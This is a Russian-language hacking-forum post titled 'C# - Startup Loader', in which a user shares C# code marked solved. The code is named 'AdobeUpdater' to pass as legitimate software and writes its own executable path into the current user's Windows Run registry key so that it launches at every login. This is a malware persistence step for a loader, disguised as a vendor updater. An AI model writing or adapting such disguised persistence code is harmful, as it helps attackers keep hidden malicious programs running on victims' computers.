• XSS.stack #1 – первый литературный журнал от юзеров форума

C# - Startup Loader

qGodless

(L2) cache
Пользователь
Регистрация
10.07.2022
Сообщения
385
Реакции
106
[Solved] Here is the code

C#:
using System;
using System.Security.Principal;
using System.IO;
using System.Net;
using System.Diagnostics;
using Microsoft.Win32;


namespace AdobeUpdater
{
    class AdobeUpdater
    {
        static void Main(string[] args)
        {
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            key.SetValue("C:\\Users\\Public\\System32\\a.txt", System.Windows.Forms.Application.ExecutablePath);
        }
    }
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх